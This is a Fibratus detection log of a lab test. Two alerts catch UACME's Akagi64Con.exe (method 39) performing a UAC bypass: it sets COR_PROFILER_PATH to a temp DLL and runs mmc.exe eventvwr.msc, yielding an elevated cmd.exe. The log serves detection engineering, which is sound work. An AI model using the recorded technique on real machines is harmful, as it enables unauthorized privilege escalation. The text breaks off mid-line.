console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ enabled=>false level=>info] amqp=>[ timeout=>5s url=>amqp://localhost:5672 tls-insecure-skip-verify=>false enabled=>false vhost=>/ delivery-mode=>transient durable=>false routing-key=>fibratus exchange-type=>topic passive=>false exchange=>fibratus]] + pe ............................. [ read-resources=>false enabled=>false read-sections=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-registry=>false skip-mmaps=>false enabled=>false fastscan=>true excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s skip-allocs=>false excluded-procs=>[] skip-files=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-01T16:26:00+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-01T16:26:02+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-01T16:26:07+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 7472 + Pid: 9888 + Tid: 9760 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 16:26:06.3914874 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3878af5ee30, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 9888 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 7923 + Pid: 2168 + Tid: 17180 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 16:26:07.081545 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 28a2b9000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808009855080, name➜ cmd.exe, pid➜ 16616, ppid➜ 2168, real_ppid➜ 2168, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 16:26:07.0814979 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004 + + Pid: 2168 + Ppid: 9888 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T16:27:09+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-01T16:27:09+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-01T16:27:10+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-01T16:28:44+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-01T16:28:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-01T16:28:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-01T16:28:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-01T16:28:44+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-01T16:28:44+01:00 level=info msg=bootstrapping with pid 6592. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-01T16:28:44+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ enabled=>false port=>25 use-template=>true to=>[] content-type=>text/html] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ enable-audit-api=>true enable-dns=>false enable-thread=>true enable-fileio=>true enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] min-buffers=>16 enable-image=>true flush-interval=>1s enable-net=>true enable-registry=>true max-buffers=>36 buffer-size=>512 stack-enrichment=>true enable-mem=>true enable-threadpool=>false enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true from-urls=>[]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-size=>100 level=>info formatter=>text log-stdout=>true max-backups=>15] + output ......................... [ http=>[ timeout=>5s serializer=>json method=>POST endpoints=>[] enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false] elasticsearch=>[ index-name=>fibratus healthcheck-interval=>10s bulk-workers=>1 timeout=>5s gzip-compression=>false enabled=>false flush-period=>1s trace-log=>false healthcheck-timeout=>5s template-name=>fibratus healthcheck=>true servers=>[http://127.0.0.1:9200] sniff=>false] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] amqp=>[ vhost=>/ delivery-mode=>transient passive=>false exchange-type=>topic url=>amqp://localhost:5672 durable=>false enabled=>false routing-key=>fibratus timeout=>5s exchange=>fibratus tls-insecure-skip-verify=>false]] + pe ............................. [ read-sections=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false skip-files=>false skip-mmaps=>false excluded-files=>[] scan-timeout=>10s excluded-procs=>[] skip-allocs=>false skip-registry=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-01T16:28:45+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-01T16:28:47+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-01T16:28:53+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 10104 + Pid: 4240 + Tid: 5268 + Type: RegSetValue + CPU: 0 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 16:28:52.0805538 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3879ac6e250, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 4240 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program 